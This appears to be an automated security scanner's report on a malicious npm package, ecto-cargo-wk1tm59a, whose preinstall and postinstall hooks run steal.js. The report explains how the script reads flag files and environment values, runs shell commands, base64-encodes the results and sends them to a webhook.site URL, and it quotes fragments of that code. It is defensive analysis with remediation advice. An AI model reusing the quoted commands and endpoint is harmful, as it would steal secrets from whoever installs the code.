registry / Data exfiltration / ecto-cargo-wk1tm59a

ecto-cargo-wk1tm59a

ecto cargo

This report shows the evidence for ecto-cargo-wk1tm59a@99.0.0, the only known version.

This package appears in our research on the dependency confusion probes at version 99 and above, with how it works, the full package list and what to do if you installed it.

AI Security Review

scanned 4mo ago · by lpm-firewall-ai

Direct source inspection confirms reachable install-time exfiltration behavior with child_process, filesystem reads, and outbound network requests. This has no package-aligned purpose and should be blocked.

Static reason

High-risk behavior combination matched malicious policy.

Trigger

npm install preinstall/postinstall lifecycle scripts

Impact

Leakes local secrets/flags, selected environment values, hostname, and user identity to attacker-controlled endpoints.

Mechanism

install-time file, environment, and command-output exfiltration

Attack narrative

On npm install, package.json runs steal.js during both preinstall and postinstall. The script reads likely secret/flag files, executes shell commands to find more flag-like files and selected environment values, captures hostname and id, base64-encodes the collection, sends it to webhook.site, and PUTs a fallback manifest to local/internal service endpoints.

AI rationale

Evidence

package.jsonsteal.jsecto-cargo-wk1tm59a-99.0.0.tgz/flag/flag.txt/root/flag.txt/root/flag/app/flag.txt/app/flag/tmp/flag.txt/home/flag.txt

Network endpoints12

webhook.site/9f1b89bd-a22f-4221-b28e-bc956b5ec8e0localhost:8080/api/modules/ECT-987654localhost:80/api/modules/ECT-987654localhost:3000/api/modules/ECT-987654localhost:5000/api/modules/ECT-987654

Decision evidence

public snapshot

AI called this Malicious at 99.0% confidence as Malware with low false-positive risk.

Evidence for block

package.json preinstall and postinstall execute node steal.js
steal.js reads /flag, /root/flag, /app/flag, /tmp/flag.txt, and /home/flag.txt paths
steal.js execSync runs cat/find/env grep for flag-like data and htb environment values
steal.js collects hostname and id command output
steal.js sends base64 data to webhook.site and PUTs fallback data to multiple local/internal hosts

Evidence against

No benign implementation found; tarball contains only package.json and steal.js
Main points to missing index.js, so install hooks are the meaningful behavior

Behavioral surface

Source

ChildProcessFilesystemNetwork

Supply chain

HighEntropyStringsUrlStrings

ManifestNo manifest risk signals triggered.

scanned 1 file(s), 2.32 KB of source, external domains: webhook.site

Source & flagged code

9 flagged

package.jsonView file

•scripts.postinstall = node steal.js postinstall

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

•scripts.preinstall = node steal.js preinstall

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg

•scripts.postinstall = node steal.js postinstall

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg

steal.jsView file

2const fs = require('fs'); L3: const cp = require('child_process'); L4: const http = require('http'); L5: const https = require('https'); ... L15: data += tryCmd('cat /flag* /root/flag* /app/flag* 2>/dev/null; find / -maxdepth 4 -iname "flag*" 2>/dev/null | head -n 20; env | grep -iE "flag|htb"'); L16: const b64 = Buffer.from(data).toString('base64'); L17: const host = tryCmd('hostname').trim(); ... L35: req.on('error',res); req.setTimeout(5000,()=>{req.destroy();res();}); L36: req.write(body); req.end(); L37: }catch(e){res();}

Critical

Credential Exfiltration

Source appears to send environment or credential material to an external endpoint.

steal.jsView on unpkg · L2

Critical

Command Output Exfiltration

Source executes local commands and sends command output to an external endpoint.

steal.jsView on unpkg · L2

2Trigger-reachable chain: scripts.preinstall -> steal.js L2: const fs = require('fs'); L3: const cp = require('child_process'); L4: const http = require('http'); L5: const https = require('https'); ... L15: data += tryCmd('cat /flag* /root/flag* /app/flag* 2>/dev/null; find / -maxdepth 4 -iname "flag*" 2>/dev/null | head -n 20; env | grep -iE "flag|htb"'); L16: const b64 = Buffer.from(data).toString('base64'); L17: const host = tryCmd('hostname').trim(); ... L35: req.on('error',res); req.setTimeout(5000,()=>{req.destroy();res();}); L36: req.write(body); req.end(); L37: }catch(e){res();}

Critical

Trigger Reachable Dangerous Capability

A package entrypoint or install-time lifecycle script reaches a source file with blocking dangerous behavior.

steal.jsView on unpkg · L2

2const fs = require('fs'); L3: const cp = require('child_process'); L4: const http = require('http');

High

Child Process

Package source references child process execution.

steal.jsView on unpkg · L2

ecto-cargo-wk1tm59a-99.0.0.tgzView file

•path = ecto-cargo-wk1tm59a-99.0.0.tgz kind = compressed_blob sizeBytes = 1347 magicHex = [redacted]

Medium

Ships Compressed Blob

Package ships compressed or archive-like blobs.

ecto-cargo-wk1tm59a-99.0.0.tgzView on unpkg

•path = ecto-cargo-wk1tm59a-99.0.0.tgz kind = nested_archive_needs_inspection sizeBytes = 1347 magicHex = [redacted]

Low

Nested Archive Needs Inspection

Package ships a nested archive or MCP bundle that was inventoried but not recursively analyzed.

ecto-cargo-wk1tm59a-99.0.0.tgzView on unpkg

Source & flagged code

9 flagged · loading source

package.jsonView file

•scripts.postinstall = node steal.js postinstall

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

•scripts.preinstall = node steal.js preinstall

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg

•scripts.postinstall = node steal.js postinstall

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg

steal.jsView file

Findings

3 Critical2 High5 Medium5 Low

CriticalCredential Exfiltrationsteal.js

CriticalCommand Output Exfiltrationsteal.js

CriticalTrigger Reachable Dangerous Capabilitysteal.js

HighInstall Time Lifecycle Scriptspackage.json

HighChild Processsteal.js

MediumAmbiguous Install Lifecycle Scriptpackage.json

MediumNetwork

MediumShips Compressed Blobecto-cargo-wk1tm59a-99.0.0.tgz

MediumStructural Risk Force Deep Review

LowScripts Present

LowFilesystem

LowHigh Entropy Strings

LowUrl Strings

Affected versions and remediation

This report applies to ecto-cargo-wk1tm59a@99.0.0.

The versions list below shows the verdict for each recorded version.

Avoid installing ecto-cargo-wk1tm59a@99.0.0. Remove it from direct dependencies and check your lockfile for transitive copies.
Choose an independently verified alternative or release. This report does not establish that other versions are safe.
If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.

Evidence last updated: 2026-08-05 06:36:09.589Z (UTC).

Source advisory published: 2026-07-20 10:40:54.000Z (UTC).

Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.

Versions

1 known version

99.0.0latestshownMaliciousData ExfiltrationBlockPublishedJun 30, 2026, 11:05 PM

AI Security Review

Decision evidence

Source & flagged code

Source & flagged code

Findings

Affected versions and remediation

Versions

Related packages

Other data exfiltration packages

Related packages

Other data exfiltration packages

Source & flagged code